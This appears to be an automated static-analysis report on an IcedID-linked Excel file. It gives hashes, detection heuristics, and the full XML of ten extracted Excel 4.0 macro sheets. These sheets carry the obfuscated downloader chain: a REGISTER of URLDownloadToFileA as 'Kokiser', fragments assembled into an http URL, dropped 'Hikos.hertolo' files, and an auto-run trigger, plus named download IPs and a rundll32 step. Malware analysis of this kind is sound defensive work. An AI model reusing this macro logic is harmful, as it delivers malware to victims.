IcedID — Office (OOXML) malware analysis

Static analysis result for SHA-256 b18d7d327f67c731…

MALICIOUS

Office (OOXML)

329.9 KB Created: 2015-06-05 18:19:34 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-05-29
MD5: 7d9f59ebb6627d6d87193a53950c4ca1 SHA-1: 27e213176cb0a965ed51866fc4375a03cadf4cca SHA-256: b18d7d327f67c73105af6d36cf6f5536724098a16d8cf1240290221c19ec2d83
250 Risk Score

Malware Insights

IcedID · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample is an Excel file containing multiple Excel 4.0 macro sheets, identified by the OOXML_XLM_MACROSHEET heuristic. These macros utilize dangerous functions like FORMULA and EXEC to download and execute a second-stage payload. Specifically, the script attempts to download from the URLs 185.183.96.223, 45.87.155.40, and 51.195.38.33 using the 'Kokiser' function and then executes 'rundll32 DllRegisterServer'. This behavior is consistent with the IcedID malware family, which often uses macro-enabled documents for initial infection.

Heuristics 6

  • ClamAV: Xls.Downloader.IcedID-9f1f1d193a2a2a2b-9951463-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Downloader.IcedID-9f1f1d193a2a2a2b-9951463-0
  • Excel 4.0 macro sheet (10 sheet(s)) critical 2 related findings OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAME
    Workbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
  • Dangerous XLM formula APIs: FORMULA, GOTO, REGISTER, HALT critical OOXML_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
  • Hidden worksheet (hidden) low OOXML_HIDDEN_SHEET
    Excel workbook contains 10 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/spreadsheetml/2006/main In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2014/revisionIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2015/revision2In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision3In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision6In document text (OOXML body / shared strings)

Extracted artifacts 10

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_sheet_00.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet1.xml 3139 bytes
SHA-256: 080bf0d1913eabdbe68c9f55d92e797adb72f1bc1d886b19764eaaf321e40bcc
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{E47BFF16-3647-4865-B01F-CFF5032E32ED}"><dimension ref="F7:K24"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="8.42578125" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="9" width="8.42578125" style="1"/><col min="10" max="10" width="22.140625" style="1" bestFit="1" customWidth="1"/><col min="11" max="16384" width="8.42578125" style="1"/></cols><sheetData><row r="7" spans="6:11" x14ac:dyDescent="0.25"><c r="J7" s="1" t="b"><f>FORMULA(F12&amp;Pervi2!F13&amp;Pervi2!E14,J9)</f><v>0</v></c></row><row r="10" spans="6:11" x14ac:dyDescent="0.25"><c r="I10" s="1" t="s"><v>0</v></c><c r="J10" s="1"><f>RANDBETWEEN(245,8675436)</f><v>7800682</v></c></row><row r="12" spans="6:11" x14ac:dyDescent="0.25"><c r="F12" s="1" t="s"><v>1</v></c></row><row r="13" spans="6:11" x14ac:dyDescent="0.25"><c r="F13" s="1" t="s"><v>2</v></c><c r="J13" s="1" t="e"><f>Kokiser(0,K13&amp;I14&amp;J10&amp;I10,sobr1!D15,J24,J24)</f><v>#NAME?</v></c><c r="K13" s="1" t="str"><f>K16&amp;K17&amp;K18</f><v>http://</v></c></row><row r="14" spans="6:11" x14ac:dyDescent="0.25"><c r="F14" s="1" t="s"><v>12</v></c><c r="I14" s="1" t="s"><v>13</v></c></row><row r="15" spans="6:11" x14ac:dyDescent="0.25"><c r="F15" s="1" t="s"><v>11</v></c><c r="I15" s="1" t="s"><v>14</v></c><c r="J15" s="1" t="e"><f>Kokiser(0,K13&amp;I15&amp;J10&amp;I10,sobr1!E15,J24,J24)</f><v>#NAME?</v></c></row><row r="16" spans="6:11" x14ac:dyDescent="0.25"><c r="F16" s="1" t="s"><v>9</v></c><c r="I16" s="1" t="s"><v>15</v></c><c r="K16" s="1" t="str"><f>"ht"</f><v>ht</v></c></row><row r="17" spans="6:11" x14ac:dyDescent="0.25"><c r="F17" s="1" t="s"><v>10</v></c><c r="J17" s="1" t="e"><f>Kokiser(0,K13&amp;I16&amp;J10&amp;I10,sobr1!F15,J24,J24)</f><v>#NAME?</v></c><c r="K17" s="1" t="str"><f>"tp"</f><v>tp</v></c></row><row r="18" spans="6:11" x14ac:dyDescent="0.25"><c r="F18" s="1" t="s"><v>3</v></c><c r="K18" s="1" t="str"><f>"://"</f><v>://</v></c></row><row r="21" spans="6:11" x14ac:dyDescent="0.25"><c r="J21" s="1" t="b"><f>GOTO(sobr1!H4)</f><v>0</v></c></row><row r="24" spans="6:11" x14ac:dyDescent="0.25"><c r="J24" s="1"><v>0</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><pageSetup paperSize="9" orientation="portrait" r:id="rId1"/></xm:macrosheet>
xlm_sheet_01.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet2.xml 1775 bytes
SHA-256: 05164b9cb70e0037b39b203885ebd44decd4d50bf6d78fd17a97030d1a30d169
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{FE4C23C8-402C-4855-A94B-79B9C3B5C8C7}"><dimension ref="E13:F15"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="8.42578125" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="16384" width="8.42578125" style="1"/></cols><sheetData><row r="13" spans="5:6" x14ac:dyDescent="0.25"><c r="F13" s="1" t="str"><f>Pervi!F13&amp;Pervi!F14</f><v>REGISTER("uRlMon","URL</v></c></row><row r="14" spans="5:6" x14ac:dyDescent="0.25"><c r="E14" s="1" t="str"><f>F14&amp;F15</f><v>DownloadToFileA","JJCCBB","Kokiser",,1,9)</v></c><c r="F14" s="1" t="str"><f>Pervi!F15&amp;Pervi!F16</f><v>DownloadToFile</v></c></row><row r="15" spans="5:6" x14ac:dyDescent="0.25"><c r="F15" s="1" t="str"><f>Pervi!F17&amp;Pervi!F18</f><v>A","JJCCBB","Kokiser",,1,9)</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><pageSetup paperSize="9" orientation="portrait" r:id="rId1"/></xm:macrosheet>
xlm_sheet_02.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet3.xml 2200 bytes
SHA-256: 57964786069256c3cde5b674c74c83e32c7950a5a81fb86406607b9295962e79
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{8C705E67-FBCE-463D-956E-F101FD370AA7}"><dimension ref="D10:H18"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="8.42578125" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="16384" width="8.42578125" style="1"/></cols><sheetData><row r="10" spans="4:8" x14ac:dyDescent="0.25"><c r="H10" s="1" t="b"><f>FORMULA(D13&amp;D14&amp;D15,I10)</f><v>0</v></c></row><row r="12" spans="4:8" x14ac:dyDescent="0.25"><c r="D12" s="1" t="s"><v>1</v></c></row><row r="13" spans="4:8" x14ac:dyDescent="0.25"><c r="D13" s="1" t="s"><v>4</v></c></row><row r="14" spans="4:8" x14ac:dyDescent="0.25"><c r="D14" s="1" t="s"><v>5</v></c></row><row r="15" spans="4:8" x14ac:dyDescent="0.25"><c r="D15" s="1" t="str"><f>"..\Hikos.hertolo"</f><v>..\Hikos.hertolo</v></c><c r="E15" s="1" t="str"><f>"..\Hikos.hertolo1"</f><v>..\Hikos.hertolo1</v></c><c r="F15" s="1" t="str"><f>"..\Hikos.hertolo2"</f><v>..\Hikos.hertolo2</v></c></row><row r="16" spans="4:8" x14ac:dyDescent="0.25"><c r="D16" s="1" t="s"><v>6</v></c></row><row r="17" spans="4:8" x14ac:dyDescent="0.25"><c r="D17" s="1" t="s"><v>7</v></c><c r="H17" s="1" t="b"><f>GOTO(sobr111!G9)</f><v>0</v></c></row><row r="18" spans="4:8" x14ac:dyDescent="0.25"><c r="D18" s="1" t="s"><v>8</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
xlm_sheet_03.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet4.xml 1453 bytes
SHA-256: 8e54ca9c8231ff6eeb2f34ba5a3783f05811c03293e81c3321c593743fc7d49b
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{181EBE6F-8590-4441-A48C-0D49315714E2}"><dimension ref="G12:G21"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="8.42578125" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="16384" width="8.42578125" style="1"/></cols><sheetData><row r="12" spans="7:7" x14ac:dyDescent="0.25"><c r="G12" s="1" t="b"><f>FORMULA(sobr1!D16&amp;sobr1!D17&amp;sobr1!D18,H12)</f><v>0</v></c></row><row r="21" spans="7:7" x14ac:dyDescent="0.25"><c r="G21" s="1" t="b"><f>GOTO(sobr2!H8)</f><v>0</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
xlm_sheet_04.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet5.xml 1453 bytes
SHA-256: bc63d00a02951125a391dfed946345cbbd3e47d5e732e1f67ca4c1232e853427
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{909A7A1B-3141-4E9F-ACDA-5112CD802904}"><dimension ref="H12:H19"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="8.42578125" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="16384" width="8.42578125" style="1"/></cols><sheetData><row r="12" spans="8:8" x14ac:dyDescent="0.25"><c r="H12" s="1" t="b"><f>FORMULA(sobr1!D13&amp;sobr1!D14&amp;sobr1!E15,I12)</f><v>0</v></c></row><row r="19" spans="8:8" x14ac:dyDescent="0.25"><c r="H19" s="1" t="b"><f>GOTO(sobr3!H7)</f><v>0</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
xlm_sheet_05.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet6.xml 1452 bytes
SHA-256: 1da17f060335fdb67c88a8c48e73de301d69d9af4b69c610a8ce665eeb86cad7
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{173EF3D9-3A82-495A-8C09-62B0D75AC525}"><dimension ref="H14:H21"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="8.42578125" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="16384" width="8.42578125" style="1"/></cols><sheetData><row r="14" spans="8:8" x14ac:dyDescent="0.25"><c r="H14" s="1" t="b"><f>FORMULA(sobr1!D13&amp;sobr1!D14&amp;sobr1!F15,I14)</f><v>0</v></c></row><row r="21" spans="8:8" x14ac:dyDescent="0.25"><c r="H21" s="1" t="b"><f>GOTO(zap1!H7)</f><v>0</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
xlm_sheet_06.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet7.xml 1454 bytes
SHA-256: f6b4423280cd454553d841491284df3eff350a07bc739b9add3542ffb6a9432a
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{0DA7ECFB-5281-438C-A3F5-354783F37D5B}"><dimension ref="H10:H18"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="8.42578125" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="16384" width="8.42578125" style="1"/></cols><sheetData><row r="10" spans="8:8" x14ac:dyDescent="0.25"><c r="H10" s="1" t="b"><f>FORMULA(sobr1!D12&amp;sobr1!I10&amp;sobr111!H12,H13)</f><v>0</v></c></row><row r="18" spans="8:8" x14ac:dyDescent="0.25"><c r="H18" s="1" t="b"><f>GOTO(zap2!I6)</f><v>0</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
xlm_sheet_07.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet8.xml 1455 bytes
SHA-256: bdf4c4c111e091debcc20b38007edacf914de0a9b4c13576faa0148f2eae61a7
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{B72A5B93-7EB0-4ADC-81C4-2331D80C6217}"><dimension ref="I15:I22"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="8.42578125" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="16384" width="8.42578125" style="1"/></cols><sheetData><row r="15" spans="9:9" x14ac:dyDescent="0.25"><c r="I15" s="1" t="b"><f>FORMULA(sobr1!D12&amp;sobr2!I12&amp;sobr111!H12,I18)</f><v>0</v></c></row><row r="22" spans="9:9" x14ac:dyDescent="0.25"><c r="I22" s="1" t="b"><f>GOTO(zap3!J11)</f><v>0</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
xlm_sheet_08.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet9.xml 1451 bytes
SHA-256: a6ea880b09fb36b15b9b86dc98d863447933c1968cf6c7d3bec7927472189efa
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{58AF8ED4-316A-4BC0-A18B-1ED79419BFAC}"><dimension ref="J15:J20"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="8.42578125" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="16384" width="8.42578125" style="1"/></cols><sheetData><row r="15" spans="10:10" x14ac:dyDescent="0.25"><c r="J15" s="1" t="b"><f>FORMULA(sobr1!D12&amp;sobr3!I14&amp;sobr111!H12,J18)</f><v>0</v></c></row><row r="20" spans="10:10" x14ac:dyDescent="0.25"><c r="J20" s="1" t="b"><f>HALT()</f><v>0</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
xlm_sheet_09.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet1.xml 1496 bytes
SHA-256: 6b415b149f32e6deb26c4b2856c7977501b27603cf485b4daf15fd4fee7940d5
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{E82A3E90-EF7C-4C67-A03E-D054DC7362F9}"><dimension ref="A9:A16"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="8.42578125" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="16384" width="8.42578125" style="1"/></cols><sheetData><row r="9" spans="1:1" x14ac:dyDescent="0.25"><c r="A9" s="1" t="b"><f>PI()=ON.TIME(NOW()+"00:00:02","Klote")=PI()</f><v>0</v></c></row><row r="16" spans="1:1" x14ac:dyDescent="0.25"><c r="A16" s="1" t="b"><f>HALT()</f><v>0</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><pageSetup paperSize="9" orientation="portrait" r:id="rId1"/></xm:macrosheet>

Open this report in the interactive analyzer, or submit your own file for analysis.